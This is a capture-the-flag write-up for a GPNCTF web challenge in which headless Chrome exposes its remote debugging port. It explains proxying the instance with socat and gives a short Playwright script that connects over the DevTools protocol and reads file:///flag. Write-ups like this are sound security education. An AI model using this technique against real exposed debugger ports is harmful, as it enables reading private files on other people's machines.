Maybe using Inspect Element will help you!
Small hint: If you’re struggling with reproducing it on remote, you can use
socat
to proxy the remote instance tolocalhost:1337
like this:socat TCP-LISTEN:1337,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443
and it should behave exactly like a locally running docker container.
Category: web
Solver: aes, Liekedaeler, lukasrad02
Flag: GPNCTF{D4NG3R0U5_D3BUGG3R}
Writeup
In this challenge, all we get is a Dockerfile. Given what the other web challenges looked like, this is quite strange. However, after taking a look at the Dockerfile, it’s quite clear why this is the case. It has one very interesting line, which is this one: google-chrome --remote-debugging-port=13370 --disable-gpu --headless=new --no-sandbox google.com
This starts google chrome with a remote debugging port. We’ve seen chrome used in other challenges, but the remote debugging port thing is new. So the challenge has to somehow revolve around it.
Setup
First up, we need to get our setup right. If we simply navigate to the URL provided to us we get an error message: “Host header is specified and is not an IP address or localhost”. Initially the challenge only shipped with the description Maybe using Inspect Element will help you!
, but later on they added the socat command you can see above. We didn’t have that initially, but came up with exactly the same thing.
With that up and running, we can work on the actual challenge.
Abusing the Remote Debugger Port
The remote debugger port basically allows us to use the chrome debugging tools you know from the browser, but remotely. If you think about it, this allows remote code execution. This includes giving us access to file://
which allows us to read files and therefore the flag.
Armed with that knowledge, we can build our exploit.
First up, we’ll use the socat command socat TCP-LISTEN:8080,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443
as discussed above. This forwards the instance we got to our localhost on port 8080.
Now we’re able to access the remote debugging port via localhost:8080
.
Next step is actually fetching the flag. For that we wrote a little python script which uses playwright to interact with the debugger. For our purposes, we simply go to file:///flag
to get our flag.
This is what our final solve script looks like:
#!/usr/bin/env python3
from playwright.sync_api import sync_playwright
with sync_playwright() as playwright:
browser = playwright.chromium.connect_over_cdp("http://localhost:8080")
context = browser.contexts[0]
page = context.new_page()
page.goto("file:///flag")
print(page.inner_text("body"))